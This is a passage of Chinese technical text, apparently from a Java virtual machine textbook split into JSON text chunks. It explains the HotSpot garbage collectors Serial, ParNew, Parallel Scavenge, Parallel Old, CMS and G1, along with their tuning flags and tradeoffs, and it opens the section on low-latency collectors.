First（G1）收集器，最终至现在垃圾收集器的最前沿成果Shenandoah和ZGC等，我们看到了一个个越来越构思精巧，越来越优秀，也越来越复杂的垃圾收集器不断涌现，用户线程的停顿时间在持续缩短，但是仍然没有办法彻底消除（这里不去讨论RTSJ中的收集器），探索更优秀垃圾收集器的工作仍在继续。 写到这里，笔者似乎已经把Serial收集器描述成一个最早出现，但目前已经老而无用，食之无味，弃之可惜的“鸡肋”了，但事实上，迄今为止，它依然是HotSpot虚拟机运行在客户端模式下的默认新生代收集器，有着优于其他收集器的地方，那就是简单而高效（与其他收集器的单线程相比），对于内存资源受限的环境，它是所有收集器里额外内存消耗（Memory Footprint） [1] 最小的；对于单核处理器或处理器核心数较少的环境来说，Serial收集器由于没有线程交互的开销，专心做垃圾收集自然可以获得最高的单线程收集效率。在用户桌面的应用场景以及近年来流行的部分微服务应用中，分配给虚拟机管理的内存一般来说并不会特别大，收集几十兆甚至一两百兆的新生代（仅仅是指新生代使用的内存，桌面应用甚少超过这个容量），垃圾收集的停顿时间完全可以控制在十几、几十毫秒，最多一百多毫秒以内，只要不是频繁发生收集，这点停顿时间对许多用户来说是完全可以接受的。所以，Serial收集器对于运行在客户端模式下的虚拟机来说是一个很好的选择。 [1] Memory Footprint：内存占用，此语境中指为保证垃圾收集能够顺利高效地进行而存储的额外信息。"},
    {"text": "3.5.2 ParNew收集器 ParNew收集器实质上是Serial收集器的多线程并行版本，除了同时使用多条线程进行垃圾收集之外，其余的行为包括Serial收集器可用的所有控制参数（例如：-XX：SurvivorRatio、-XX：PretenureSizeThreshold、-XX：HandlePromotionFailure等）、收集算法、Stop The World、对象分配规则、回收策略等都与Serial收集器完全一致，在实现上这两种收集器也共用了相当多的代码。ParNew收集器的工作过程如图3-8所示。 图3-8 ParNew/Serial Old收集器运行示意图 ParNew收集器除了支持多线程并行收集之外，其他与Serial收集器相比并没有太多创新之处，但它却是不少运行在服务端模式下的HotSpot虚拟机，尤其是JDK 7之前的遗留系统中首选的新生代收集器，其中有一个与功能、性能无关但其实很重要的原因是：除了Serial收集器外，目前只有它能与CMS收集器配合工作。 在JDK 5发布时，HotSpot推出了一款在强交互应用中几乎可称为具有划时代意义的垃圾收集器——CMS收集器。这款收集器是HotSpot虚拟机中第一款真正意义上支持并发的垃圾收集器，它首次实现了让垃圾收集线程与用户线程（基本上）同时工作。 遗憾的是，CMS作为老年代的收集器，却无法与JDK 1.4.0中已经存在的新生代收集器Parallel Scavenge配合工作 [1] ，所以在JDK 5中使用CMS来收集老年代的时候，新生代只能选择ParNew或者Serial收集器中的一个。ParNew收集器是激活CMS后（使用-XX：+UseConcMarkSweepGC选项）的默认新生代收集器，也可以使用-XX：+/-UseParNewGC选项来强制指定或者禁用它。 可以说直到CMS的出现才巩固了ParNew的地位，但成也萧何败也萧何，随着垃圾收集器技术的不断改进，更先进的G1收集器带着CMS继承者和替代者的光环登场。G1是一个面向全堆的收集器，不再需要其他新生代收集器的配合工作。所以自JDK 9开始，ParNew加CMS收集器的组合就不再是官方推荐的服务端模式下的收集器解决方案了。官方希望它能完全被G1所取代，甚至还取消了ParNew加Serial Old以及Serial加CMS这两组收集器组合的支持（其实原本也很少人这样使用），并直接取消了-XX：+UseParNewGC参数，这意味着ParNew和CMS从此只能互相搭配使用，再也没有其他收集器能够和它们配合了。读者也可以理解为从此以后，ParNew合并入CMS，成为它专门处理新生代的组成部分。ParNew可以说是HotSpot虚拟机中第一款退出历史舞台的垃圾收集器。 ParNew收集器在单核心处理器的环境中绝对不会有比Serial收集器更好的效果，甚至由于存在线程交互的开销，该收集器在通过超线程（Hyper-Threading）技术实现的伪双核处理器环境中都不能百分之百保证超越Serial收集器。当然，随着可以被使用的处理器核心数量的增加，ParNew对于垃圾收集时系统资源的高效利用还是很有好处的。它默认开启的收集线程数与处理器核心数量相同，在处理器核心非常多（譬如32个，现在CPU都是多核加超线程设计，服务器达到或超过32个逻辑核心的情况非常普遍）的环境中，可以使用-XX：ParallelGCThreads参数来限制垃圾收集的线程数。 注意 从ParNew收集器开始，后面还将会接触到若干款涉及“并发”和“并行”概念的收集器。在大家可能产生疑惑之前，有必要先解释清楚这两个名词。并行和并发都是并发编程中的专业名词，在谈论垃圾收集器的上下文语境中，它们可以理解为： ·并行（Parallel）：并行描述的是多条垃圾收集器线程之间的关系，说明同一时间有多条这样的线程在协同工作，通常默认此时用户线程是处于等待状态。 ·并发（Concurrent）：并发描述的是垃圾收集器线程与用户线程之间的关系，说明同一时间垃圾收集器线程与用户线程都在运行。由于用户线程并未被冻结，所以程序仍然能响应服务请求，但由于垃圾收集器线程占用了一部分系统资源，此时应用程序的处理的吞吐量将受到一定影响。 [1] 除了一个面向低延迟一个面向高吞吐量的目标不一致外，技术上的原因是Parallel Scavenge收集器及后面提到的G1收集器等都没有使用HotSpot中原本设计的垃圾收集器的分代框架，而选择另外独立实现。Serial、ParNew收集器则共用了这部分的框架代码，详细可参考：https://blogs.oracle.com/jonthecollector/our_collectors。"},
    {"text": "3.5.3 Parallel Scavenge收集器 Parallel Scavenge收集器也是一款新生代收集器，它同样是基于标记-复制算法实现的收集器，也是能够并行收集的多线程收集器……Parallel Scavenge的诸多特性从表面上看和ParNew非常相似，那它有什么特别之处呢？ Parallel Scavenge收集器的特点是它的关注点与其他收集器不同，CMS等收集器的关注点是尽可能地缩短垃圾收集时用户线程的停顿时间，而Parallel Scavenge收集器的目标则是达到一个可控制的吞吐量（Throughput）。所谓吞吐量就是处理器用于运行用户代码的时间与处理器总消耗时间的比值，即： 如果虚拟机完成某个任务，用户代码加上垃圾收集总共耗费了100分钟，其中垃圾收集花掉1分钟，那吞吐量就是99%。停顿时间越短就越适合需要与用户交互或需要保证服务响应质量的程序，良好的响应速度能提升用户体验；而高吞吐量则可以最高效率地利用处理器资源，尽快完成程序的运算任务，主要适合在后台运算而不需要太多交互的分析任务。 Parallel Scavenge收集器提供了两个参数用于精确控制吞吐量，分别是控制最大垃圾收集停顿时间的-XX：MaxGCPauseMillis参数以及直接设置吞吐量大小的-XX：GCTimeRatio参数。 -XX：MaxGCPauseMillis参数允许的值是一个大于0的毫秒数，收集器将尽力保证内存回收花费的时间不超过用户设定值。不过大家不要异想天开地认为如果把这个参数的值设置得更小一点就能使得系统的垃圾收集速度变得更快，垃圾收集停顿时间缩短是以牺牲吞吐量和新生代空间为代价换取的：系统把新生代调得小一些，收集300MB新生代肯定比收集500MB快，但这也直接导致垃圾收集发生得更频繁，原来10秒收集一次、每次停顿100毫秒，现在变成5秒收集一次、每次停顿70毫秒。停顿时间的确在下降，但吞吐量也降下来了。 -XX：GCTimeRatio参数的值则应当是一个大于0小于100的整数，也就是垃圾收集时间占总时间的比率，相当于吞吐量的倒数。譬如把此参数设置为19，那允许的最大垃圾收集时间就占总时间的5%（即1/(1+19)），默认值为99，即允许最大1%（即1/(1+99)）的垃圾收集时间。 由于与吞吐量关系密切，Parallel Scavenge收集器也经常被称作“吞吐量优先收集器”。除上述两个参数之外，Parallel Scavenge收集器还有一个参数-XX：+UseAdaptiveSizePolicy值得我们关注。这是一个开关参数，当这个参数被激活之后，就不需要人工指定新生代的大小（-Xmn）、Eden与Survivor区的比例（-XX：SurvivorRatio）、晋升老年代对象大小（-XX：PretenureSizeThreshold）等细节参数了，虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。这种调节方式称为垃圾收集的自适应的调节策略（GC Ergonomics） [1] 。如果读者对于收集器运作不太了解，手工优化存在困难的话，使用Parallel Scavenge收集器配合自适应调节策略，把内存管理的调优任务交给虚拟机去完成也许是一个很不错的选择。只需要把基本的内存数据设置好（如-Xmx设置最大堆），然后使用-XX：MaxGCPauseMillis参数（更关注最大停顿时间）或-XX：GCTimeRatio（更关注吞吐量）参数给虚拟机设立一个优化目标，那具体细节参数的调节工作就由虚拟机完成了。自适应调节策略也是Parallel Scavenge收集器区别于ParNew收集器的一个重要特性。 [1] 官方介绍：http://download.oracle.com/javase/1.5.0/docs/guide/vm/gc-ergonomics.html。 3.5.4 Serial Old收集器 Serial Old是Serial收集器的老年代版本，它同样是一个单线程收集器，使用标记-整理算法。这个收集器的主要意义也是供客户端模式下的HotSpot虚拟机使用。如果在服务端模式下，它也可能有两种用途：一种是在JDK 5以及之前的版本中与Parallel Scavenge收集器搭配使用 [1] ，另外一种就是作为CMS收集器发生失败时的后备预案，在并发收集发生Concurrent Mode Failure时使用。这两点都将在后面的内容中继续讲解。Serial Old收集器的工作过程如图3-9所示。 图3-9 Serial/Serial Old收集器运行示意图 [1] 需要说明一下，Parallel Scavenge收集器架构中本身有PS MarkSweep收集器来进行老年代收集，并非直接调用Serial Old收集器，但是这个PS MarkSweep收集器与Serial Old的实现几乎是一样的，所以在官方的许多资料中都是直接以Serial Old代替PS MarkSweep进行讲解，这里笔者也采用这种方式。"},
    {"text": "3.5.5 Parallel Old收集器 Parallel Old是Parallel Scavenge收集器的老年代版本，支持多线程并发收集，基于标记-整理算法实现。这个收集器是直到JDK 6时才开始提供的，在此之前，新生代的Parallel Scavenge收集器一直处于相当尴尬的状态，原因是如果新生代选择了Parallel Scavenge收集器，老年代除了Serial Old（PS MarkSweep）收集器以外别无选择，其他表现良好的老年代收集器，如CMS无法与它配合工作。由于老年代Serial Old收集器在服务端应用性能上的“拖累”，使用Parallel Scavenge收集器也未必能在整体上获得吞吐量最大化的效果。同样，由于单线程的老年代收集中无法充分利用服务器多处理器的并行处理能力，在老年代内存空间很大而且硬件规格比较高级的运行环境中，这种组合的总吞吐量甚至不一定比ParNew加CMS的组合来得优秀。 直到Parallel Old收集器出现后，“吞吐量优先”收集器终于有了比较名副其实的搭配组合，在注重吞吐量或者处理器资源较为稀缺的场合，都可以优先考虑Parallel Scavenge加Parallel Old收集器这个组合。Parallel Old收集器的工作过程如图3-10所示。 图3-10 Parallel Scavenge/Parallel Old收集器运行示意图"},
    {"text": "目前很大一部分的Java应用集中在互联网网站或者基于浏览器的B/S系统的服务端上，这类应用通常都会较为关注服务的响应速度，希望系统停顿时间尽可能短，以给用户带来良好的交互体验。"},
    {"text": "从名字（包含“Mark Sweep”）上就可以看出CMS收集器是基于标记-清除算法实现的，它的运作过程相对于前面几种收集器来说要更复杂一些，整个过程分为四个步骤，包括： 1）初始标记（CMS initial mark） 2）并发标记（CMS concurrent mark） 3）重新标记（CMS remark） 4）并发清除（CMS concurrent sweep） 其中初始标记、重新标记这两个步骤仍然需要“Stop The World”。"},
    {"text": "初始标记仅仅只是标记一下GC Roots能直接关联到的对象，速度很快； 并发标记阶段就是从GC Roots的直接关联对象开始遍历整个对象图的过程，这个过程耗时较长但是不需要停顿用户线程，可以与垃圾收集线程一起并发运行；"},
    {"text": "而重新标记阶段则是为了修正并发标记期间，因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录（详见3.4.6节中关于增量更新的讲解），这个阶段的停顿时间通常会比初始标记阶段稍长一些，但也远比并发标记阶段的时间短；"},
    {"text": "由于在整个过程中耗时最长的并发标记和并发清除阶段中，垃圾收集器线程都可以与用户线程一起工作，所以从总体上来说，CMS收集器的内存回收过程是与用户线程一起并发执行的。"},
    {"text": "图3-11 Concurrent Mark Sweep收集器运行示意图 CMS是一款优秀的收集器，它最主要的优点在名字上已经体现出来：并发收集、低停顿，一些官方公开文档里面也称之为“并发低停顿收集器”（Concurrent Low Pause Collector）。 CMS收集器是HotSpot虚拟机追求低停顿的第一次成功尝试，但是它还远达不到完美的程度，至少有以下三个明显的缺点： 首先，CMS收集器对处理器资源非常敏感。"},
    {"text": "CMS默认启动的回收线程数是（处理器核心数量+3）/4，也就是说，如果处理器核心数在四个或以上，并发回收时垃圾收集线程只占用不超过25%的处理器运算资源，并且会随着处理器核心数量的增加而下降。"},
    {"text": "如果应用本来的处理器负载就很高，还要分出一半的运算能力去执行收集器线程，就可能导致用户程序的执行速度忽然大幅降低。 为了缓解这种情况，虚拟机提供了一种称为“增量式并发收集器”（Incremental Concurrent Mark Sweep/i-CMS）的CMS收集器变种，所做的事情和以前单核处理器年代PC机操作系统靠抢占式多任务来模拟多核并行多任务的思想一样，是在并发标记、清理的时候让收集器线程、用户线程交替运行，尽量减少垃圾收集线程的独占资源的时间，这样整个垃圾收集的过程会更长，但对用户程序的影响就会显得较少一些，直观感受是速度变慢的时间更多了，但速度下降幅度就没有那么明显。"},
    {"text": "实践证明增量式的CMS收集器效果很一般，从JDK 7开始，i-CMS模式已经被声明为“deprecated”，即已过时不再提倡用户使用，到JDK 9发布后i-CMS模式被完全废弃。"},
    {"text": "然后，由于CMS收集器无法处理“浮动垃圾”（Floating Garbage），有可能出现“Con-current Mode Failure”失败进而导致另一次完全“Stop The World”的Full GC的产生。"},
    {"text": "在CMS的并发标记和并发清理阶段，用户线程是还在继续运行的，程序在运行自然就还会伴随有新的垃圾对象不断产生，但这一部分垃圾对象是出现在标记过程结束以后，CMS无法在当次收集中处理掉它们，只好留待下一次垃圾收集时再清理掉。"},
    {"text": "同样也是由于在垃圾收集阶段用户线程还需要持续运行，那就还需要预留足够内存空间提供给用户线程使用，因此CMS收集器不能像其他收集器那样等待到老年代几乎完全被填满了再进行收集，必须预留一部分空间供并发收集时的程序运作使用。 在JDK 5的默认设置下，CMS收集器当老年代使用了68%的空间后就会被激活，这是一个偏保守的设置，如果在实际应用中老年代增长并不是太快，可以适当调高参数-XX：CMSInitiatingOccu-pancyFraction的值来提高CMS的触发百分比，降低内存回收频率，获取更好的性能。"},
    {"text": "但这又会更容易面临另一种风险：要是CMS运行期间预留的内存无法满足程序分配新对象的需要，就会出现一次“并发失败”（Concurrent Mode Failure），这时候虚拟机将不得不启动后备预案：冻结用户线程的执行，临时启用Serial Old收集器来重新进行老年代的垃圾收集，但这样停顿时间就很长了。"},
    {"text": "所以参数-XX：CMSInitiatingOccupancyFraction设置得太高将会很容易导致大量的并发失败产生，性能反而降低，用户应在生产环境中根据实际应用情况来权衡设置。"},
    {"text": "还有最后一个缺点，在本节的开头曾提到，CMS是一款基于“标记-清除”算法实现的收集器，如果读者对前面这部分介绍还有印象的话，就可能想到这意味着收集结束时会有大量空间碎片产生。"},
    {"text": "空间碎片过多时，将会给大对象分配带来很大麻烦，往往会出现老年代还有很多剩余空间，但就是无法找到足够大的连续空间来分配当前对象，而不得不提前触发一次Full GC的情况。"},
    {"text": "为了解决这个问题，CMS收集器提供了一个-XX：+UseCMS-CompactAtFullCollection开关参数（默认是开启的，此参数从JDK 9开始废弃），用于在CMS收集器不得不进行Full GC时开启内存碎片的合并整理过程，由于这个内存整理必须移动存活对象，（在Shenandoah和ZGC出现前）是无法并发的。 这样空间碎片问题是解决了，但停顿时间又会变长，因此虚拟机设计者们还提供了另外一个参数-XX：CMSFullGCsBefore-Compaction（此参数从JDK 9开始废弃），这个参数的作用是要求CMS收集器在执行过若干次（数量由参数值决定）不整理空间的Full GC之后，下一次进入Full GC前会先进行碎片整理（默认值为0，表示每次进入Full GC时都进行碎片整理）。"},
    {"text": "3.5.7 Garbage First收集器 Garbage First（简称G1）收集器是垃圾收集器技术发展历史上的里程碑式的成果，它开创了收集器面向局部收集的设计思路和基于Region的内存布局形式。"},
    {"text": "早在JDK 7刚刚确立项目目标、Oracle公司制定的JDK 7 RoadMap里面，G1收集器就被视作JDK 7中HotSpot虚拟机的一项重要进化特征。 从JDK 6 Update 14开始就有Early Access版本的G1收集器供开发人员实验和试用，但由此开始G1收集器的“实验状态”（Experimental）持续了数年时间，直至JDK 7 Update 4，Oracle才认为它达到足够成熟的商用程度，移除了“Experimental”的标识；"},
    {"text": "现在这个期望目标已经实现过半了，JDK 9发布之日，G1宣告取代Parallel Scavenge加Parallel Old组合，成为服务端模式下的默认垃圾收集器，而CMS则沦落至被声明为不推荐使用（Deprecate）的收集器 [1] 。 如果对JDK 9及以上版本的HotSpot虚拟机使用参数-XX：+UseConcMarkSweepGC来开启CMS收集器的话，用户会收到一个警告信息，提示CMS未来将会被废弃： Java HotSpot(TM) 64-Bit Server VM warning: Option UseConcMarkSweepGC was deprecated in version 9.0 and will likely be removed in a future release. 但作为一款曾被广泛运用过的收集器，经过多个版本的开发迭代后，CMS（以及之前几款收集器）的代码与HotSpot的内存管理、执行、编译、监控等子系统都有千丝万缕的联系，这是历史原因导致的，并不符合职责分离的设计原则。 为此，规划JDK 10功能目标时，HotSpot虚拟机提出了“统一垃圾收集器接口” [2] ，将内存回收的“行为”与“实现”进行分离，CMS以及其他收集器都重构成基于这套接口的一种实现。"},
    {"text": "作为CMS收集器的替代者和继承人，设计者们希望做出一款能够建立起“停顿时间模型”（Pause Prediction Model）的收集器，停顿时间模型的意思是能够支持指定在一个长度为M毫秒的时间片段内，消耗在垃圾收集上的时间大概率不超过N毫秒这样的目标，这几乎已经是实时Java（RTSJ）的中软实时垃圾收集器特征了。"},
    {"text": "首先要有一个思想上的改变，在G1收集器出现之前的所有其他收集器，包括CMS在内，垃圾收集的目标范围要么是整个新生代（Minor GC），要么就是整个老年代（Major GC），再要么就是整个Java堆（Full GC）。 而G1跳出了这个樊笼，它可以面向堆内存任何部分来组成回收集（Collection Set，一般简称CSet）进行回收，衡量标准不再是它属于哪个分代，而是哪块内存中存放的垃圾数量最多，回收收益最大，这就是G1收集器的Mixed GC模式。"},
    {"text": "虽然G1也仍是遵循分代收集理论设计的，但其堆内存的布局与其他收集器有非常明显的差异：G1不再坚持固定大小以及固定数量的分代区域划分，而是把连续的Java堆划分为多个大小相等的独立区域（Region），每一个Region都可以根据需要，扮演新生代的Eden空间、Survivor空间，或者老年代空间。"},
    {"text": "收集器能够对扮演不同角色的Region采用不同的策略去处理，这样无论是新创建的对象还是已经存活了一段时间、熬过多次收集的旧对象都能获取很好的收集效果。"},
    {"text": "而对于那些超过了整个Region容量的超级大对象，将会被存放在N个连续的Humongous Region之中，G1的大多数行为都把Humongous Region作为老年代的一部分来进行看待，如图3-12所示。"},
    {"text": "G1收集器之所以能建立可预测的停顿时间模型，是因为它将Region作为单次回收的最小单元，即每次收集到的内存空间都是Region大小的整数倍，这样可以有计划地避免在整个Java堆中进行全区域的垃圾收集。 更具体的处理思路是让G1收集器去跟踪各个Region里面的垃圾堆积的“价值”大小，价值即回收所获得的空间大小以及回收所需时间的经验值，然后在后台维护一个优先级列表，每次根据用户设定允许的收集停顿时间（使用参数-XX：MaxGCPauseMillis指定，默认值是200毫秒），优先处理回收价值收益最大的那些Region，这也就是“Garbage First”名字的由来。 这种使用Region划分内存空间，以及具有优先级的区域回收方式，保证了G1收集器在有限的时间内获取尽可能高的收集效率。 图3-12 G1收集器Region分区示意图 [3] G1将堆内存“化整为零”的“解题思路”，看起来似乎没有太多令人惊讶之处，也完全不难理解，但其中的实现细节可是远远没有想象中那么简单，否则就不会从2004年Sun实验室发表第一篇关于G1的论文后一直拖到2012年4月JDK 7 Update 4发布，用将近10年时间才倒腾出能够商用的G1收集器来。 G1收集器至少有（不限于）以下这些关键的细节问题需要妥善解决： ·譬如，将Java堆分成多个独立Region后，Region里面存在的跨Region引用对象如何解决？ 解决的思路我们已经知道（见3.3.1节和3.4.4节）：使用记忆集避免全堆作为GC Roots扫描，但在G1收集器上记忆集的应用其实要复杂很多，它的每个Region都维护有自己的记忆集，这些记忆集会记录下别的Region指向自己的指针，并标记这些指针分别在哪些卡页的范围之内。 G1的记忆集在存储结构的本质上是一种哈希表，Key是别的Region的起始地址，Value是一个集合，里面存储的元素是卡表的索引号。 这种“双向”的卡表结构（卡表是“我指向谁”，这种结构还记录了“谁指向我”）比原来的卡表实现起来更复杂，同时由于Region数量比传统收集器的分代数量明显要多得多，因此G1收集器要比其他的传统垃圾收集器有着更高的内存占用负担。"},
    {"text": "这里首先要解决的是用户线程改变对象引用关系时，必须保证其不能打破原本的对象图结构，导致标记结果出现错误，该问题的解决办法笔者已经抽出独立小节来讲解过（见3.4.6节）：CMS收集器采用增量更新算法实现，而G1收集器则是通过原始快照（SATB）算法来实现的。"},
    {"text": "此外，垃圾收集对用户线程的影响还体现在回收过程中新创建对象的内存分配上，程序要继续运行就肯定会持续有新对象被创建，G1为每一个Region设计了两个名为TAMS（Top at Mark Start）的指针，把Region中的一部分空间划分出来用于并发回收过程中的新对象分配，并发回收时新分配的对象地址都必须要在这两个指针位置以上。"},
    {"text": "与CMS中的“Concurrent Mode Failure”失败会导致Full GC类似，如果内存回收的速度赶不上内存分配的速度，G1收集器也要被迫冻结用户线程执行，导致Full GC而产生长时间“Stop The World”。"},
    {"text": "用户通过-XX：MaxGCPauseMillis参数指定的停顿时间只意味着垃圾收集发生之前的期望值，但G1收集器要怎么做才能满足用户的期望呢？ G1收集器的停顿预测模型是以衰减均值（Decaying Average）为理论基础来实现的，在垃圾收集过程中，G1收集器会记录每个Region的回收耗时、每个Region记忆集里的脏卡数量等各个可测量的步骤花费的成本，并分析得出平均值、标准偏差、置信度等统计信息。"},
    {"text": "这里强调的“衰减平均值”是指它会比普通的平均值更容易受到新数据的影响，平均值代表整体平均状态，但衰减平均值更准确地代表“最近的”平均状态。"},
    {"text": "如果我们不去计算用户线程运行过程中的动作（如使用写屏障维护记忆集的操作），G1收集器的运作过程大致可划分为以下四个步骤： · 初始标记 （Initial Marking）：仅仅只是标记一下GC Roots能直接关联到的对象，并且修改TAMS指针的值，让下一阶段用户线程并发运行时，能正确地在可用的Region中分配新对象。"},
    {"text": "· 并发标记 （Concurrent Marking）：从GC Root开始对堆中对象进行可达性分析，递归扫描整个堆里的对象图，找出要回收的对象，这阶段耗时较长，但可与用户程序并发执行。"},
    {"text": "· 筛选回收 （Live Data Counting and Evacuation）：负责更新Region的统计数据，对各个Region的回收价值和成本进行排序，根据用户所期望的停顿时间来制定回收计划，可以自由选择任意多个Region构成回收集，然后把决定回收的那一部分Region的存活对象复制到空的Region中，再清理掉整个旧Region的全部空间。"},
    {"text": "从上述阶段的描述可以看出，G1收集器除了并发标记外，其余阶段也是要完全暂停用户线程的，换言之，它并非纯粹地追求低延迟，官方给它设定的目标是在延迟可控的情况下获得尽可能高的吞吐量，所以才能担当起“全功能收集器”的重任与期望 [4] 。 从Oracle官方透露出来的信息可获知，回收阶段（Evacuation）其实本也有想过设计成与用户程序一起并发执行，但这件事情做起来比较复杂，考虑到G1只是回收一部分Region，停顿时间是用户可控制的，所以并不迫切去实现，而选择把这个特性放到了G1之后出现的低延迟垃圾收集器（即ZGC）中。 另外，还考虑到G1不是仅仅面向低延迟，停顿用户线程能够最大幅度提高垃圾收集效率，为了保证吞吐量所以才选择了完全暂停用户线程的实现方案。"},
    {"text": "图3-13 G1收集器运行示意图 毫无疑问，可以由用户指定期望的停顿时间是G1收集器很强大的一个功能，设置不同的期望停顿时间，可使得G1在不同应用场景中取得关注吞吐量和关注延迟之间的最佳平衡。 不过，这里设置的“期望值”必须是符合实际的，不能异想天开，毕竟G1是要冻结用户线程来复制对象的，这个停顿时间再怎么低也得有个限度。 它默认的停顿目标为两百毫秒，一般来说，回收阶段占到几十到一百甚至接近两百毫秒都很正常，但如果我们把停顿时间调得非常低，譬如设置为二十毫秒，很可能出现的结果就是由于停顿目标时间太短，导致每次选出来的回收集只占堆内存很小的一部分，收集器收集的速度逐渐跟不上分配器分配的速度，导致垃圾慢慢堆积。 很可能一开始收集器还能从空闲的堆内存中获得一些喘息的时间，但应用运行时间一长就不行了，最终占满堆引发Full GC反而降低性能，所以通常把期望停顿时间设置为一两百毫秒或者两三百毫秒会是比较合理的。"},
    {"text": "从G1开始，最先进的垃圾收集器的设计导向都不约而同地变为追求能够应付应用的内存分配速率（Allocation Rate），而不追求一次把整个Java堆全部清理干净。"},
    {"text": "G1收集器常会被拿来与CMS收集器互相比较，毕竟它们都非常关注停顿时间的控制，官方资料 [5] 中将它们两个并称为“The Mostly Concurrent Collectors”。 在未来，G1收集器最终还是要取代CMS的，而当下它们两者并存的时间里，分个高低优劣就无可避免。 相比CMS，G1的优点有很多，暂且不论可以指定最大停顿时间、分Region的内存布局、按收益动态确定回收集这些创新性设计带来的红利，单从最传统的算法理论上看，G1也更有发展潜力。 与CMS的“标记-清除”算法不同，G1从整体来看是基于“标记-整理”算法实现的收集器，但从局部（两个Region之间）上看又是基于“标记-复制”算法实现，无论如何，这两种算法都意味着G1运作期间不会产生内存空间碎片，垃圾收集完成之后能提供规整的可用内存。"},
    {"text": "不过，G1相对于CMS仍然不是占全方位、压倒性优势的，从它出现几年仍不能在所有应用场景中代替CMS就可以得知这个结论。 比起CMS，G1的弱项也可以列举出不少，如在用户程序运行过程中，G1无论是为了垃圾收集产生的内存占用（Footprint）还是程序运行时的额外执行负载（Overload）都要比CMS要高。 就内存占用来说，虽然G1和CMS都使用卡表来处理跨代指针，但G1的卡表实现更为复杂，而且堆中每个Region，无论扮演的是新生代还是老年代角色，都必须有一份卡表，这导致G1的记忆集（和其他内存消耗）可能会占整个堆容量的20%乃至更多的内存空间； 相比起来CMS的卡表就相当简单，只有唯一一份，而且只需要处理老年代到新生代的引用，反过来则不需要，由于新生代的对象具有朝生夕灭的不稳定性，引用变化频繁，能省下这个区域的维护开销是很划算的 [6] 。"},
    {"text": "在执行负载的角度上，同样由于两个收集器各自的细节实现特点导致了用户程序运行时的负载会有不同，譬如它们都使用到写屏障，CMS用写后屏障来更新维护卡表；"},
    {"text": "而G1除了使用写后屏障来进行同样的（由于G1的卡表结构复杂，其实是更烦琐的）卡表维护操作外，为了实现原始快照搜索（SATB）算法，还需要使用写前屏障来跟踪并发时的指针变化情况。"},
    {"text": "相比起增量更新算法，原始快照搜索能够减少并发标记和重新标记阶段的消耗，避免CMS那样在最终标记阶段停顿时间过长的缺点，但是在用户程序运行过程中确实会产生由跟踪引用变化带来的额外负担。"},
    {"text": "由于G1对写屏障的复杂操作要比CMS消耗更多的运算资源，所以CMS的写屏障实现是直接的同步操作，而G1就不得不将其实现为类似于消息队列的结构，把写前屏障和写后屏障中要做的事情都放到队列里，然后再异步处理。"},
    {"text": "以上的优缺点对比仅仅是针对G1和CMS两款垃圾收集器单独某方面的实现细节的定性分析，通常我们说哪款收集器要更好、要好上多少，往往是针对具体场景才能做的定量比较。 按照笔者的实践经验，目前在小内存应用上CMS的表现大概率仍然要会优于G1，而在大内存应用上G1则大多能发挥其优势，这个优劣势的Java堆容量平衡点通常在6GB至8GB之间，当然，以上这些也仅是经验之谈，不同应用需要量体裁衣地实际测试才能得出最合适的结论，随着HotSpot的开发者对G1的不断优化，也会让对比结果继续向G1倾斜。"},
    {"text": "[1] JEP 291：Deprecate the Concurrent Mark Sweep(CMS)Garbage Collector。 [2] JEP 304：Garbage Collector Interface。 [3] 图片来源：https://www.infoq.com/articles/G1-One-Garbage-Collector-To-Rule-Them-All。"},
    {"text": "3.6 低延迟垃圾收集器 HotSpot的垃圾收集器从Serial发展到CMS再到G1，经历了逾二十年时间，经过了数百上千万台服务器上的应用实践，已经被淬炼得相当成熟了，不过它们距离“完美”还是很遥远。怎样的收集器才算是“完美”呢？这听起来像是一道主观题，其实不然，完美难以实现，但是我们确实可以把它客观描述出来。 衡量垃圾收集器的三项最重要的指标是：内存占用（Footprint）、吞吐量（Throughput）和延迟（Latency），三者共同构成了一个“不可能三角 [1] ”。三者总体的表现会随技术进步而越来越好，但是要在这三个方面同时具有卓越表现的“完美”收集器是极其困难甚至是不可能的，一款优秀的收集器通常最多可以同时达成其中的两项。 在内存占用、吞吐量和延迟这三项指标里，延迟的重要性日益凸显，越发备受关注。其原因是随着计算机硬件的发展、性能的提升，我们越来越能容忍收集器多占用一点点内存；硬件性能增长，对软件系统的处理能力是有直接助益的，硬件的规格和性能越高，也有助于降低收集器运行时对应用程序的影响，换句话说，吞吐量会更高。但对延迟则不是这样，硬件规格提升，准确地说是内存的扩大，对延迟反而会带来负面的效果，这点也是很符合直观思维的：虚拟机要回收完整的1TB的堆内存，毫无疑问要比回收1GB的堆内存耗费更多时间。由此，我们就不难理解为何延迟会成为垃圾收集器最被重视的性能指标了。现在我们来观察一下现在已接触过的垃圾收集器的停顿状况，如图3-14所示。 图3-14中浅色阶段表示必须挂起用户线程，深色表示收集器线程与用户线程是并发工作的。由图3-14可见，在CMS和G1之前的全部收集器，其工作的所有步骤都会产生“Stop The World”式的停顿；CMS和G1分别使用增量更新和原始快照（见3.4.6节）技术，实现了标记阶段的并发，不会因管理的堆内存变大，要标记的对象变多而导致停顿时间随之增长。但是对于标记阶段之后的处理，仍未得到妥善解决。CMS使用标记-清除算法，虽然避免了整理阶段收集器带来的停顿，但是清除算法不论如何优化改进，在设计原理上避免不了空间碎片的产生，随着空间碎片不断淤积最终依然逃不过“Stop The World”的命运。G1虽然可以按更小的粒度进行回收，从而抑制整理阶段出现时间过长的停顿，但毕竟也还是要暂停的。 图3-14 各款收集器的并发情况 读者肯定也从图3-14中注意到了，最后的两款收集器，Shenandoah和ZGC，几乎整个工作过程全部都是并发的，只有初始标记、最终标记这些阶段有短暂的停顿，这部分停顿的时间基本上是固定的，与堆的容量、堆中对象的数量没有正比例关系。实际上，它们都可以在任意可管理的（譬如现在ZGC只能管理4TB以内的堆）堆容量下，实现垃圾收集的停顿都不超过十毫秒这种以前听起来是天方夜谭、匪夷所思的目标。这两款目前仍处于实验状态的收集器，被官方命名为“低延迟垃圾收集器”（Low-Latency Garbage Collector或者Low-Pause-Time Garbage Collector）。 [1] 不可能三角：https://zh.wikipedia.org/wiki/三元悖论。"},
    {"text": "现代社会竞争激烈，连一个公司里不同团队之间都存在“部门墙”，那Shenandoah作为第一款不由Oracle（包括以前的Sun）公司的虚拟机团队所领导开发的HotSpot垃圾收集器，不可避免地会受到一些来自“官方”的排挤。"},
